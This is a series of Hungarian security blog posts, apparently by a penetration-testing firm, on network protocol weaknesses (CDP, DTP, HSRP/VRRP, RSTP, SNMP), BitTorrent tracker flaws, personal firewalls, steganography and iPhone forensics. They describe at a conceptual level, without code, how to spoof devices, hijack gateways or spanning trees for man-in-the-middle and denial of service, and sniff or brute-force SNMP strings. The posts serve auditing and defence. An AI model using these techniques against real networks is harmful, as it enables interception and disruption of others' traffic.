Az ARP poisoningről túl sokat nem is mondanánk többet. Jelezni elég egyszerű: A és B ott foghat gyanút, hogy ugyanahoz a MAC-címhez a lokális ARP cache-ben két IP is tartozik, az arpwatch okos kis eszköze pont ezt figyeli. Ami a hálózati védekezést illeti, a napokban találkoztunk egy nagyon cseles megoldással: a legtöbb eszköz, amivel véghez lehet vinni ARP poisoninget, előzetesen végigtapogatja a lokális subnetet MAC/IP párok után: ez a művelet meglehetősen pontosan érzékelhető. A kérdéses hálózat erre azzal reagált, hogy öt percre kikapcsolta a feszültséget a hálókábelben.

CDP
Cisco Discovery Protocol. Nyilvánvalóan nem közösségi eredetű protokoll, arra szolgál, hogy a Hidas Gyártó eszközei feltérképezzék egymást. A CDP üzenetek alapból broadcastban mennek a hálózaton: az auditor csatlakozik a hálózathoz és hallgatózik, mire egyszer csak ilyenek hullanak az ölébe, mint például:

Source MAC 00:21:AF:4C:DE:6C
Destination MAC 01:00:0C:CC:CC:CC
Version 02
TTL B4
Checksum D023
DevID nagyswitch.nagyceg.hu
Software version Cisco IOS Software
Platform cisco WS-C6509-E
Addresses 172.021.160.254
Port ID GigabitEthernet4/46
Capabilities 00000029
IP Prefix/Gateway
VTP Domain GIGAOFFISZ
Native VLAN 01AB
Duplex01
Trust Bitmap 00
Untrusted CoS 00
Management Addr 172.021.160.254

Kezdőknek eláruljuk, hogy a fenti üzenetből megtudjuk a kérdéses eszköz MAC-címét, gyártóját (Cisco), a menedzsment interfész IP-címét és a VTP domaint.

Támadási fronton CDP-vel egészen pofás virtuális eszközparkot varázsolhatunk az üzemeltetők elé, akik szinte biztosan meglepett arcot vágnak, amikor a CiscoWorksben egyszer csak manifesztálódik a hajnali ködből nyolc-tíz gigabites hálózati szekrény.

DTP
Dynamic Trunking Protocol. Aki kihagyta volna, most fussa át az előző leckét, amelyben a VLAN hívószóra leírtuk, mi a különbség az access portok és a trunköltek között.

Mindenki visszajött? Akkor eláruljuk ismét, hogy a DTP arra jó, hogy a switchek egymás között le tudják rendezni, hogy hogy akarják kezelni a trönkölt forgalmat. Ha a switchen engedélyezett a portunkban a DTP (illetve nincs explicite letiltva), akkor rá lehet beszélni a switchünket arra, hogy kapcsolja trönkké. Ezután pedig taggeléssel bármelyikbe belebeszélhetünk.

HSRP és VRRP
Hot Stand-by Redundancy Protocol és Virtual Router Redundancy Protocol: arra jók, hogy transzparens módon teszik lehetővé több router összekapcsolását a default gw feladataira. Ha az egyik router kiesik, jön helyette egy másik, a felhasználó pedig ebből semmit sem vesz észre.

Közös vonása a két protokollnak az, hogy nem használnak alapkiépítésben sem hitelesítést, sem titkosítást, valamint mindkettő "bizalmi" alapokra helyezi a prioritás megválasztását a backup routerek között. A támadó ezáltal könnyen fel tud kerülni a legmagasabb prioritású backup router szerepére.

Közös megakasztási lehetőség az, hogy a támadó erővel megválasztatja magát a legmagasabb prioritású backup routernek, a kettes pályán pedig valahogyan (ízlés szerint) DoS-olja az igazi gw-t. Innét már csak egy lépés az, amikor egyszer csak ő lesz az átjáró - ez pedig klasszikus MiTM, illetve DoS.

Auditálási szempontból roppant hálás dolog VRRP/HSRP után vadászni, ugyanis többnyire pár másodpercenként jön egy ilyen keret a hálózaton, a Wireshark élénkpiros színnel jelöli a VRRP kereteket, ezáltal a reggeli kávé előtt is könnyen szembe ötlik a használata.

RSTP
Az RSTP az ARP mellett a hálózati protokollok másik nagy öregje: aki csak kicsit is foglalkozik hálózati biztonsággal, legalább egyszer találkozott vele. Az RSTP nagyon fontos a hálózat túlélésének és megbízható működésének szempontjából: ez biztosítja, hogy a többnyire meglehetős fizikai redundanciával felépített hálózatokban minimális súlyú (költségű) feszítőfa tudjon kialakulni.

Az RSTP alapú támadások meglehetősen egy sémára épülnek: a támadó úgy küld a hálózatra RSTP kereteket, hogy átalakítsa a jelenlegi fát. A dolog csúcsa az, amikor a támadó a fa gyökere lesz: ekkor minden forgalom rajta megy át - laptoppal nagy hálózatban eléggé nyögős a történet, ugyanis a legtöbb laptop viszonylag nehezen viseli, amikor egyszer csak rázúdul négy-öt gigabitnyi adatforgalom. Ízlés szerint nem feltétlenül szükséges beszállni a fába: nagyon egyszerűen meg lehet akasztani egy nagy hálózatot azzal is, ha a támadó összezavarja a fát.

Irodalom a témában:
http://www.amazon.com/LAN-Switch-Security-Hackers-Switches/dp/1587052563
www.yersinia.net

A BitTorrent biztonságáról

A bittorrentről meglehetősen sok szó esik mostanság - leginkább nem is technikai aspektusai miatt, hanem a szerzői jogok harcosainak bírósági munkájának eredményeképpen lekapcsolt trackerek miatt. Ezekkel a területekkel szándékoltan nem foglalkozunk - sokkal inkább magának a technológiának a biztonsági vonatkozásaival, mert akad néhány hiányosság a protokoll működésében. Akit bővebben érdekel a téma, annak itt egy remek whitepaper.

A bittorrent működéséről
Túl mélyen nem mennénk bele a dologba, a működés lelkét képező technológiák elmélete meglehetősen bonyolult, inkább gyakorlati szempontból vesszük szemügyre az eseményeket.

A protokoll működése során három entitás forgalmaz: vannak a seederek, akiknél megtalálható az adott fájl, amit szeretnénk letölteni, a leecherek, akiknél nem, viszont szintén ezt a fájlt vadásszák (vagy nem engedik azt, hogy róluk töltsenek le), és van a tracker, ami közvetít. Amikor elindítunk egy letöltést, egy .torrent fájlt töltünk le először: a .torrent tartalmazza a trackerek elérhetőségét, a letöltendő fájl méretét és egy hasht, ami alapján igazolni lehet a hibamentes átvitelt a végén. A kliensünk ezután "bejelentkezik" a trackerre, azaz egy HTTP-kéréssel értesíti a trackert arról, hogy erről az IP-ről ezt a hash-ű fájlt szeretnénk letölteni - a tracker ezután visszaküld egy listát azokról az IP-port párokról, akiknél szintén megvan a letöltendő anyag (vagy egy része). A kliensünk ezután veszettül elkezd TCP-n csatlakozni a kapott helyekre, és ha minden jól megy, elkezdi letölteni kedvenc GNU-licenc alá eső operációs rendszerünk legújabb verziójának DVD-kiadását.

A protokoll stabil működéséhez szükséges az, hogy a játékosok jelentős része legalább annyit töltsön vissza, mint amennyit ő is lehúzott (ez egyébként tényleg csodálatos játékelméleti probléma, többen is publikáltak már a P2P-hálózatokban terjedő anyagok életútjának témájában). Éppen ezért van egy érték, ami a fel- és letöltött adatmennyiség arányát jellemzi - vannak trackerek, amelyek figyelik ezt az értéket, és megtagadják a kliens kiszolgálását, ha irreálisan keveset tölt vissza.

Mik a problémák a protokollal?

• Mik a szolgáltatók problémái a torrentezéssel? Többoldalú a dolog. Egyrészt valószínűsíthető, hogy a jövőben a jogvédő szervezetek az ISP-kre való nyomásgyakorlással elérik, hogy adjanak listát a torrentező felhasználókról, másrészt a torrent (és minden nagy forgalmat lebonyolító P2P) igencsak megnehezíti a hálózat méretezését és karbantartását. Arról van szó, hogy "normál" működés során a felhasználó upstream irányba viszonylag keveset forgalmaz, viszont lefelé meg jellemzően dől a tartalom. A hálózatok méretezésekor jogos volt a feltételezés, hogy az ISP hálózatában jellemzően az "internet"->felhasználó irányú adatforgalom fog zajlani, ehhez igazították a hálózatot. A P2P ezzel szemben teljesen predikálhatatlanul megy ide-oda nagy mennyiségű adat a hálózaton.
  
• A központi entitás, a tracker nagyon buta. Gyakorlatilag annyit csinál, hogy nyilván tartja, melyik torrentfájlt melyik IP-port pár kezdte tölteni - minden más a kliensre van bízva. Például az is, hogy nyilvántartsa a fel- és letöltött bájtok arányát - erre már megvannak a megfelelő eszközök (pl. a RatioMaster), amelyekkel lehet módosítani ezt az értéket. A legegyszerűbb mód az, ha a kliens egészen egyszerűen nem helyesen értesíti a trackert a D/U arányról.
  
• A HTTP-s sessionök örök életűek. Az értesítések (announcement) egyszerű HTTP-kérések, amikhez tartozó sessionID-k örök életűek. Tehát amikor a kliensünk csatlakozik a trackerhez, clear-text GET requestben közlekedik a sessionid - a támadónak ezt kell csak sniffelnie. Jó, de ez miért jó? Sok privát (regisztrációs, esetleg fizetős) torrenthálózatban a jelszóhash a sessionID - ezáltal akár fel is lehet törni a jelszavakat. Másrészt egyéb dolgokat is lehet csinálni a torrenthálózatban (valaki más nevében forgalmazni például) a sessionid ismeretében.
  
• Emese. MSE, azaz Message Stream Encryption, amit a torrentezők a trackerrel zajló adatforgalom során használhatnak. Az MSE célja a nevével ellentétben nem "biztonságos" titkosítás kialakítása volt a cél, hanem a torrent forgalom detektálásának megnehezítése, borsot törve ezáltal az ISP-k orra alá. Az MSE az RC4-en alapul, ami a jól ismert FMS támadással viszonylag jól támadható - egyéb problémák is vannak (a Black Hates WP meglehetősen sokat foglalkozik vele), azonban a legviccesebb a dologban az, hogy a trackerek nem követelik meg az MSE használatát - tehát a legtöbb kliens egész egyszerűen elhagyja.

SNMP - Security Not My Problem

Az SNMP igazából a Simple Network Management Protocol rövidítése, a célja pedig a nevéből kitalálható - elsősorban hálózatra kötött eszközök kezelését, monitorozását lehet megoldani a segítségével. Általánosságban elmondható róla, hogy rendkívül sok mindenre használható, viszont meglehetősen keveset foglalkoznak vele a hálózatok beállításakor, a hálózati eszközök beásásakor az integrátorcégek: a tesztelési jelentések túlnyomó részében található valamilyen SNMP-vel kapcsolatos rés - ilyen értelemben az SNMP-t biztonsági szempontból szükséges rosszként aposztrofálhatjuk. Ahhoz, hogy megfelelően alakítsanak ki SNMP-t, rengeteg apróságra kell figyelni.

Az SNMP hagyományosan az UDP-s 161-es porton fut: a hálózati eszközökön futó SNMP agent mindenfélét megmond az eszközök lelkivilágával kapcsolatosan a menedzsment konzolnak. SNMP-n keresztül (is) működnek a nagy hálózatmenedzsment eszközök, mint például a Tivoli vagy a CiscoWorks. Az SNMP jó, hasznos, de mik a tipikus problémák?

Insecure by default.
Az SNMP 1988-ban kezdte meg a pályafutását. Eredeti kiadása, az SNMPv1 kialakítása során a korabeli szellemiségnek megfelelően nulla, azaz totálisan zéró biztonsági megfontolást vettek figyelembe: minden cleartextben megy, ezért némi sniffelés után tetszőlegesen lehet állítgatni az eszközök lelkivilágát - ennek megfelelően ma már a v1 használata önmagában is biztonsági kockázatot jelent.

Az SNMPv2 1993-ban jelent meg, és számos biztonsági funkciót terveztek bele, például az MD5-ön alapuló authentikációt a korábbi clear-text helyett. Igenám, azonban az IETF-ben nem tudtak megegyezni arról, hogy pontosan mi is kerüljön bele a kötelezően implementálandó részbe, ezért a gyártók különbözőképp implementálták az SNMPv2-t: a betűhíven implementált SNMPv2 számos funkciót biztosít, ami a korábbiban nem volt benne, viszont biztonságilag semmivel sem jobb, mint a v1. Ennek következtében megjelent az SNMPv2c, és végül is ez terjedt el nagy gyártók termékeiben.

A fenti történet némi kavarodást okozott a tipikusan nem egy-két évre vásárolt hálózati eszközök piacán: sok mai hálózatban keverve találhatunk v1, v2, illetve v2c protokollokat támogató eszközöket. A teljesség kedvéért meg kell említenünk, hogy létezik v3 is, azonban ez nem teljes protokoll olyan értelemben, hogy leginkább biztonsági funkciókat definiál az eddigi v2(c)-hez, például már használható SHA1-es/AES-es hitelesítés is. Persze ezt külön be kell kapcsolni.

Community és Private stringek
Az SNMP részleteibe nem mennénk bele (az érdeklődők nyugodtan fussák át a wikipedia szócikkét), a továbbiak megértéséhez elég annyi, hogy az egyes eszközökről (network element) egy Management Information Base nevű faszerkezetben lehet információkat kérni. A biztosított faszerkezetet a gyártó eszközspecifikus leírása alapján lehet teljes mértékben bejárni, azonban hagyományosan vannak olyan információk, amiket a legtöbb eszköz ugyanoda tesz a fában.

Ahhoz, hogy használni tudjuk az SNMP-t egy eszközön, szükséges egy "jelszó": ebből mindjárt van kettő is, a community string és a private. Ez elméleti szinten nagyon szép, viszont a gyakorlatban sokszor használnak triviális stringeket (pl. "community", illetve "private"), illetve az adott menedzsmenteszköz használatát megkönnyítendő, kényelmi okokból ugyanazt a stringet használják mindenhová.

Praktikus támadás lehet a stringek megszerzésére a hálózat sniffelése, MiTM elkövetése a menedzsment interfész és az eszközök között. Ezek elég egyszerűek, viszont ha bonyolítani akarjuk a dolgot, lehet azt is csinálni, hogy CDP (Cisco Discovery Protocol, Cisco eszközök ezen keresztül is tudnak meg sok mindent egymásról) keretek injektálásával létrehozunk egy nem létező hálózati eszközt a menedzsment konzolon. Ha (a támadó szempontjából) megfelelően van bekonfigurálva a menedzsment konzol, akkor készségesen csatlakozni fog a hamis eszközünkhöz, elárulva a stringet. Megjegyezzük, hogy ha nagyon csavarni akarjuk a dolgot, akkor akár XSS-t is lehetne művelni a webes menedzsment interfész megfelelő verzióin...

Ha ismerjük valamelyik stringet, akkor egy MIB browserrel rácsatlakozva az eszközre, kényelmesen lehet nézegetni mindenféle beállításait. Teszteltünk egyszer olyan hálózatot, ahol a TCP-s portok szigorúan voltak szűrve, komoly küzdelem volt alávinni az nmap intenzitását az IPS-ének - viszont UDP161-en elérhető volt egy SNMP szerver, ami készségesen megmondta, mely portokon milyen szolgáltatás fut.

Eszköz feletti root hozzáférést SNMP-n keresztül nagyon nehézkes szerezni: a legtöbb típusban közvetlenül nem érhető el sem a rootjelszó, sem az enable jelszava: meg lehet mondani viszont, hogy honnét töltse le a konfigot TFTP-n például az eszközünk induláskor - ez pedig már majdnem ugyanolyan jó. Ha már jelszó, lehet tippelgetni is: a hydra például tud SNMP-t brute-force-olni.

SNMP keresése - tű a szénakazalban
A TCP jó, az UDP rossz portscannelési szempontból, ugyanis a TCP állapot alapján könnyű követni a vizsgált portok állapotát, viszont UDP-n ez nem működik: vagy timeoutol a próbálkozás, vagy visszakapunk egy ICMP hibaüzenetet - ha szerencsés napunk van. Emiatt UDP-t scannelni tipikusan egész éjszakás munka nagy hálózatokban, és ekkor sem árt némi finomhangolás az nmap időzítési beállításain.

Mi mindent lehet beállítani SNMP-n?
Mindent. Kicsit bővebben álljon itt néhány lehetőség, gondolatébresztőnek. Ahhoz, hogy a lentiek véghezvihetőek legyenek, nyilván szükséges az, hogy ismerjünk egy SNMP stringet. Konkrét parancsokat, eszközöket a lelkes, fiatal, ám nem kikezdhetetlen tudású IT-biztonsági szakemberpalánták kedvéért nem írunk.

• VLAN-ok konfigurációjának kinyerése.
• MAC címtábla kinyerése.
• A switch melyik lábán milyen MAC cím lakik?
• VLAN-ok átállítása.
• DoS.

Hogy lehet mindezt kivédeni?
Nehezen. A legjobb megoldás az, ha kikapcsoljuk az SNMP-t azokon az eszközökön, amelyeken nincs szükség rá, azonban ez nagyon nagy hálózatokban iszonyatosan körülményessé teszi menedzsmentet. Másodszor érdemes nem kitalálható community stringeket használni. Érdemes továbbá különböző stringeket használni a különféle típusú SNMP-s műveletekhez, valamint az sem lehetetlen, hogy tűzfalallal az SNMP forgalmat csak a menedzsment konzol és a hálózati eszközök között engedélyezzük. Sok eszköz lehetőséget ad arra is, hogy csak bizonyos IP-kről lehessen elérni az SNMP-t (az UDP "fire-and-forget" tulajdonságai miatt ez lehet, hogy nem sokat ér - bár ezzel kapcsolatban nem végeztünk még vizsgálatokat).

Mi a baj a személyi tűzfalakkal?

A személyi tűzfal csodálatos találmány. Rátelepíti az ember a vindózára, beállítja és máris úgy érzi, megmenekült mindentől, ami az internet világában fenyegeti. Miért nem szeretjük mégsem a személyi tűzfalakat?

1. Valódi támadásokat nem nagyon fognak meg, cserébe hamis biztonságérzetet adnak a felhasználónak. A legnagyobb veszélyt a felhasználóra a trójaiak, a phishing, a drive-by exploitok és a célpontjukban ülő, sechole-okkal telepakolt böngészők jelentik. Ezek ellen tűzfallal nem nagyon lehet védekezni - van viszont egy jóval erősebb érvünk is a sz. tűzfalak ellen: az, hogy valódi támadásokat sem nagyon fognak meg. Kis házi tesztlaborunkban egyszer öt ingyenes és fizetős, meglehetősen sokat reklámozott integrált internetvédelmi megoldást teszteltünk: az okosan beállított nmap-scant egyik sem fogta meg. Igaz, azzal is lehet vitatkozni, hogy a sz.t. meg kellene-e, hogy fogja a portscant - az viszont, hogy egy patcheletlen SMB-hibán keresztül metasploittal bemenve, majd local system shellt kapva a * Security semmit sem szól, az már erős.
   
2. Hihetetlenül idegesítő, hogy félpercenként feldob egy dialógust, aminél dönteni kell. Nem kommentálnám bővebben a dolgot: mindenki találkozott már a jelenséggel.
   
3. Nagyon nehézkessé teszik a konfigurációt, rengeteg hibalehetőséggel. Ismét csak utalnánk arra a fura érzésre, ami akkor keríti hatalmába az embert, amikor a kis otthoni hálózatán szeretné összelőni, hogy az A gép lássa a B gép megosztásait. Az ember küzd, de csak pingetni lehet az A gépet a B-ről (visszafelé már nem), de az SMB csak nem akar működni.
   
4. Processzt, CPU-időt és egyéb erőforrásokat foglalnak. Ehhez sem kell túl sok kommentár.
5. Ahhoz, hogy megfelelő konfigurációban fussanak, olyan szintű ismeretek kellenének, amelyek a legtöbb felhasználónak nincsenek meg. A "mindent szabad a skype-nak"-típusú szabályok értelmetlenné teszik magát a tűzfalat - idáig pedig meglehetősen sztereotip az út, ugyanis először csak azokat a processzeket engedjük forgalmazni, amelyekről biztosan tudjuk, hogy mit csinálnak (biztosan tudjuk?), minden mást letiltunk. Egészen addig, amíg az egyik CVS23L.exéről ki nem derül, hogy igazából kedvenc zenelejátszónk frissítője: itt jön el az a pont, ahol széttárjuk a kezünket, hogy nem tudjuk eldönteni egy-egy processzről, hogy engedjük-e a forgalmazást. A következő lépés sejthető: igen, engedjünk mindent mindenkinek.
   

UPDATE: a visszajelzések alapján kicsit pontosítunk a bejegyzés kicsengésén. A személyi tűzfalak használata igenis növelheti a biztonsági szintet, azonban csodafegyverként használni és így aposztrofálni ezeket az eszközöket erős túlzás.

Forensic vizsgálatok 6. - Szteganográfia

A betörési tesztelés mellett a nyomelemző munkák területe az a témakör, amelyről sok szakmabeli is csak homályos képpel rendelkezik, holott meglehetősen szerteágazó és szövevényes világról van szó. Több posztból álló sorozatunkban igyekszünk felvillantani néhány érdekesebb momentumot nyomelemzős munkáinkról.

A szteganográfia a maszkírozás művészete: olyan módszereket jelöl a tudományág, amivel adatot lehet rejteni olyan helyekre, ahol "normális" esetben nem (vagy nem úgy) szokott adat lenni: képek, mp3-ak, videók, szöveg, akármi. Az adatrejtés használata egy nyilvánvaló előnnyel bír a hagyományos titkosítások használatával szemben: nevezetesen azzal, hogy nem árulkodik ránézésre a média arról, hogy titkos (feltehetőleg fontos) üzenetet tartalmaz.

A szteganográfiai módszerek kétféle megközelítést alkalmaznak:

• azok a módszerek, amikor nem végzünk előzetes titkosítást az elrejteni kívánt adatokon,
• azok a módszerek, amikor igen.

Pusztán technológiai szempontból nézve a módszereknek mindegy, hogy melyiket választjuk, viszont detektálhatóság felől nézve a dolgot már messze nem egyenértékű a kettő: a jó titkosítás zajszerűvé teszi az enkriptált adatokat, ezáltal ezeket könnyebb belerejteni "zajként" pl. képekbe. Arról nem is beszélve, hogy ha valaki kinyeri a belerejtett adatokat a médiából, nem jut egyből hozzá az elrejtett információhoz is.

Elrejtett információk visszarejtéséhez tipikusan három (algoritmustól függően négy) dologra van szükségünk:

• A rejtett adatokat tartalmazó média (kép, hang, szöveg, bármi)
• Az adatrejtési algoritmus
• A jelszó, amit a titkosításhoz alkalmaztak
• Egyes algoritmusok esetén az eredeti média is kellhet (tehát amibe rejtik az adatokat)

A helyzet sajnos erősen egyenlőtlen: az adatrejtők többnyire előnyben vannak az adatkeresőkkel szemben - az esetek nagy részében fel sem merül, hogy valamilyen információ szteganográfiai módszerekkel található meg pl. egy több tízezer képet tartalmazó, elkobzott merevlemezen.

Mindazonáltal érdemes egy aranyszabályt betartani: csak minimális méretű adatot szabad szteganográfiával rejteni, ugyanis minél többet szeretnénk akármibe beletuszkolni, egyre nyilvánvalóbb lesz az adatrejtés ténye. Sok tool jelez is, ha túlzottan nagyméretű adatot szeretnénk belerejteni kedvenc képünkbe.

Fizikai szteganográfia
A legősibb. Az első dokumentált példája a szteganográfiának a kétrétegű viasztábla volt, de Hérdotosz megemlékezik egy történetről, amikor egy futár haját leborotválták, a fejbőrére tetoválták a fontos üzenetet, és amikor ismét megnőtt a fiatalember haja, elküldték a címzetthez, aki ismételt leborotválás után megkapta az igazi üzenetet.

Ugyanebbe a kategóriába tartozik a "mikropont", amivel a második világháború alatt juttattak ki német kémek közönséges postai úton információkat. A mikropont lényege az, hogy egy kedves levélben, amelyben Onkel Michael hogyléte felől érdeklődünk, az egyik mondatvégi pont egy kicsivel nagyobb, mint a többi - ebben a pontban található erős kicsinyítéssel a kicsempészni kívánt információ.

Biztosan állítható, hogy ebben a műfajban születtek a legmeghökkentőbb szteganográfiai feladatbeadások: személyes kedvencem az a módszer, amikor a levelezőlapra ragasztott bélyeg hátuljára írjuk meg a lényegi üzenetet.

Adatrejtés szövegben
Aki látta a Con Air című filmet, pontosan tudja, hogy mire gondolunk: Cyrus cellájában találtak a börtönőrök egy levelet, amire rá kellett illeszteni Michelangelo Utolsó vacsora című képét úgy, hogy Jézus és az apostolok szemeit kivágták a képből, így az eredeti levél bizonyos betűit összeolvasva kapták meg a találkahely nevét.

Hasonló elven működik a "Biblia kódja" is: az eredeti, héber nyelvű szöveg egymástól egyenlő távolságra lévő betűit összeolvasva különféle titkos üzeneteket fedhetünk fel. A dolog meglepő, ijesztő, viszont az elmélet több bírálója bemutatott hasonló mintázatokat egyéb könyvekben is, pl. a Moby Dickben (a történet igazi csattanója az, hogy Michael Drosnin, az eredeti Biblia kódja-könyv szerzője mondotta azt, hogy tessék csak ilyen mintázatokat keresni szépirodalmi könyvekben, pl. a Moby Dickben - tessék, mondták a bírálók és megjövendölték Martin Luther King meggyilkolását a Moby Dickből). A "Biblia-kód" elleni legerősebb csapást John Safran ausztrál hivatásos televíziós ateista (már ha létezik ez a műfaj) vitte véghez, amikor megjövendölte a szeptember 11-ei támadást Vanilla Ice dalszövegekből (http://en.wikipedia.org/wiki/Bible_code#Criticism_of_Michael_Drosnin)

Adatrejtés képekben
Képekben történő adatrejtés többféle módon is történhet (nyilván rengeteg mód elképzelhető, csak gondolatébresztőnek néhány):

• Kicsinyítés. Nyilvánvaló - egy nagyméretű fényképbe belemontázsolunk egy (sokkal) kisebbet, amin a rejtendő információ van.
  
• Fájlformátumokkal történő manipuláció. Képek elmentésekor egy sereg lépést elvégez a fényképezőkép, a Gimp, bármi. Ha a mentéskor/konvertáláskor használt konverziós adatokat (pl. kvantálási mátrixok) változtatjuk mininális mértékben, az a kész képen nem fog meglátszani, viszont az eredeti képet összehasonlítva a másként tömörítettel, kinyerhető a rejtett üzenet.

A képekben történő adatrejtéssel kapcsolatban fontos megjegyezni a robosztusság követelményét: ha a képet átméretezik, esetleg kivágnak belőle egy részletet(!), akkor is maradjon meg a vízjel, illetve a rejtett adat visszanyerhetőnek.

Adatrejtés videókban, zenében
A videókban történő robosztus adatrejtéssel kapcsolatban az első alkalmazások a fizetős tartalomszolgáltatók (vagy fizetőstartalom-szolgáltatók?) részéről merültek fel: tisztában voltak vele, hogy a fizetős videotartalmak előbb-utóbb kijutnak a nem-fizetős zónába, viszont ekkor a kijutott változatból meg lehet állapítani, hogy melyik felhasználó töltötte le az eredetit, és jogi lépéseket tenni ellene.

A videókban történő adatrejtés (watermarking) óriási tudományág önmagában is, érdemes vetni egy pillantást erre az áttekintésre. A legtöbb MPEG-bázisú adatrejtő algoritmus a tömörítéskor használt kvantálási mátrixokat, illetve a tömörítéskor előálló P, I és B keretek sorrendjét, elhelyezkedését manipulálják.

A hangtömörítésre is ugyanezek az alapelvek mondhatóak el: a legnépszerűbb hangtömörítő eljárás, az MPEG Layer-3, azaz MP3 és származékai hasonlóan működnek, mint a mezei JPEG.

Detektálás...?
A legtöbb, kvantálási mátrix machinálásán alapuló algoritmus több-kevesebb valószínűséggel detektálható. Képek ilyen irányú vizsgálatára a linuxos stegdetect használható a legegyszerűbben - a weboldalán lista található arról, hogy mely szteganográfiai eszközök nyomát képes detektálni, illetve törni.

A probléma az azonban, hogy a fejlettebb vízjelező algoritmusok olyan rafinált módon végzik a dolgukat, hogy a nyomaikat nagyon nehéz megtalálni.

Kissé más...
A 2007-es Black Hat-en hangzott el egy előadás, amely kilóg a BH szokásos témáitól (és kissé ezen bejegyzés témájától is elüt): Neal Krawetz arról beszélt, hogy hogyan lehet az alábbiakat megállapítani képkről, videókról az alábbiakat:

• a vizsgált képen felfedezhetőek-e digitális utómunka nyomai (azaz fotosopolva volt-e?)
• a vizsgált kép eredeti, vagy esetleg bizonyos elemeit utólag montírozták a képre? Ha igen, milyen sorrendben történtek a módosítások?
• a vizsgált kép számítógéppel generált-e, vagy valódi fotó?

Kimondottan érdemes elolvasni a whitepapert (a fóliák sajnos a szöveg végigolvasása nélkül nem sokat mondanak...), amelyben egy Playboy-poszter és két Oszama Bin Laden-videó példáján mutatja be a profi képelemzők munkáját.

iPhone forensics

Egy munka kapcsán kicsit beleástunk az iPhone lelkivilágába forensic szempontból: azt elemeztük, hogy mi mindent lehet egy (talált, elkobzott, lefoglalt) iPhone-ból kideríteni a tulajdonosára vonatkozóan.

Leírás
Az iPhone jelenség, a tökéletes dizájnnal párosuló tökéletlenség legismertebb előfordulása: mobilinternet-eszközként (azaz kütyüként) tökéletes, azonban ha az ember alapvetően telefonálásra akarja használni, meglepődhet. Mindezzel együtt nagyon addiktív: több ismerősöm lemondta az otthoni ADSL-t, merthogy úgyis csak az iPhone-on keresztül netezik ezentúl - lássuk, hogy mi mindent lehet kideríteni forensic analízis használatával.

Hardver, oprendszer
Az iPhone firmware több verzióban is elérhető, az Apple frissítést biztosít hozzá. Maga a hardver többnyire ugyanolyan: egy Samsung gyártmányú ARM processzorból, Infineon GSM adapterből és NAND flash memóriából áll, kiegészítve egy csomó egyéb aprósággal (gyorsulásérzékelők, mozgásérzékelők stb.). Az operációs rendszer a Mac OSX egy módosított, speciálisan a hardverre fordított változata, signed kernellel (jailbreak előtt, persze).

Lemezpartíciók
Az iPhone kialakítása bolondbiztos módszerrel történt: az operációs rendszer külön partíción található a lemezen, mint a felhasználói adatok, és megfelelő eszközzel (iTunes) visszaállítható a dobozos, "gyári" állapot, ugyanis az oprendszer partícióját a felhasználói tevékenység nem érinti.

Két partíciót alakítottak ki az iPhone-on:

• 300MB az operációs rendszer számára. Ez tartalmazza a kernelt, az oprendszer moduljait és a preloaded alkalmazásokat: ez a terület a készülék egész élettartama során érintetlenül marad, alapból read-onlyként mountolja fel az oprendszer. Forensic szempontból legtöbbször érdektelen (nyilván ellenőrizni kell, hogy a gyári állapot md5-hashével megegyezik-e a lenyomata, de egyébre nem használható). Forensic alkalmazások telepítésére használatos, ugyanis ezen a területen végzett módosítás nem érinti a felhasználói aktivitás bizonyítékait.
  
• A maradék a felhasználó számára elérhető terület, a /private/var könyvtárba mountolva. Forensic vizsgálódáskor ezt vesszük szemügyre.
  

Blokkdivájszok tekintetében az alábbiak elérhetőek:

brw-r----- 1 root operator 14, 0 Apr 7 07:46 /dev/disk0 Disk
brw-r----- 1 root operator 14, 1 Apr 7 07:46 /dev/disk0s1 System
brw-r----- 1 root operator 14, 2 Apr 7 07:46 /dev/disk0s2 Media

Imaging
Az iPhone alapból nem enged hozzáférni, csak a felhasználói adatok tárolására szolgáló területekhez - ahhoz, hogy dd-vel image-et lehessen csinálni a felhasználói partíciókról, jailbreakelni kell a készüléket. Igen, erre sajnos már felszisszenhetnek az igazságügyi eljárásban járatosak, ugyanis sérti azt az elvet, hogy a bizonyítékot nem szabad megváltoztatni feldolgozás közben, de sajnos egyéb mód nincs rá. Mindenesetre elővigyázatosságból érdemes backupolni minden felhasználói adatot a jailbreak elvégzése előtt.

Maga az imagekészítés azzal indul, hogy jailbreakeljük a készüléket, majd rátelepítünk egy speciális, iPhone forensics céljára készített alkalmazást, végül kapunk egy SSH shellt a készüléken dd-vel és netcattel, umountolt felhasználói partícióval - a továbbiak innentől triviálisak. (Annyi gond lehet, hogy az iPhone fájlrendszere az image-ben HFS/X megjelölést kapja, emiatt sok forensic eszköz feladhatja a harcot - semmi gond, hexaeditorral át lehet írni sima HFS-re a fájlrendszer azonosítóját tartalmazó bájtokat.)

Mit lehet találni?
Az iPhone rengeteg dolgot tárol a felhasználóról, ezek nagy része nem törlődik automatikusan, használat közben. Van ugyan ilyen opció, hogy restore factory settings, ez valóban törli a felhasználói adatokat, viszont nem wipe-olja őket, tehát carving eszközökkel visszahozhatóak. A scapel-hez készítettek egy konfigfájlt, ami alapján egyszerűen szétdobálja az iPhone-specifikus fájlokat.

• Dynamic directory. Az iPhone folyamatosan figyeli, hogy a felhasználó milyen karaktereket, szavakat üt bele, a bevert szöveget pedig eltárolja - arra jó, hogy a készülék megtanulja, hogy a tulajdonosa milyen szavakat használ gyakran, ezeket ajánlja fel előrébb gépeléskor. Apró gond, hogy nemcsak "szöveg" szöveget tárol, hanem URL-eket, jelszavakat, ilyesmiket is.
  
• AMR fájlok. Az iPhone AMR formátumban tárolja a hangpostás üzeneteket - mivel egy ilyen fájl tipikusan pár (száz) kilobyte méretű, nagyon sokáig megmaradhat akkor is, ha már a fájlrendszerből letöröltük.
• SQLite adatbázisok. Rengeteg mindenre használ SQLite adatbázisokat kedvenc kütyünk: ilyenben tárolja naptárat, az üzeneteket, a Google maps-es könyvjelzőket, a letöltött leveleket, a kapcsolódáshoz használt stringeket, jelszavakat stb. A legtöbb példány "live", azaz folyamatosan frissül/kezelődik, azonban régi példányok fragmentjei továbbra is rengeteg információt hordozhatnak.
• E-mailek, weboldalak. Sokat nem is mondanék ezekről.
  
• Képek. A felhasználói élmény fokozására az iPhone valahányszor megnyomjuk a Home gombot, lefotózza a "desktopot", és elmenti a gyors visszatölthetőség kedvéért (tehát amíg vissza nem tölti az adott alkalmazást, a képet teszi a felhasználó elé). A képek pedig sokáig megmaradhatnak, tökéletesen rögzítve, hogy mit csinált a felhasználó.
  
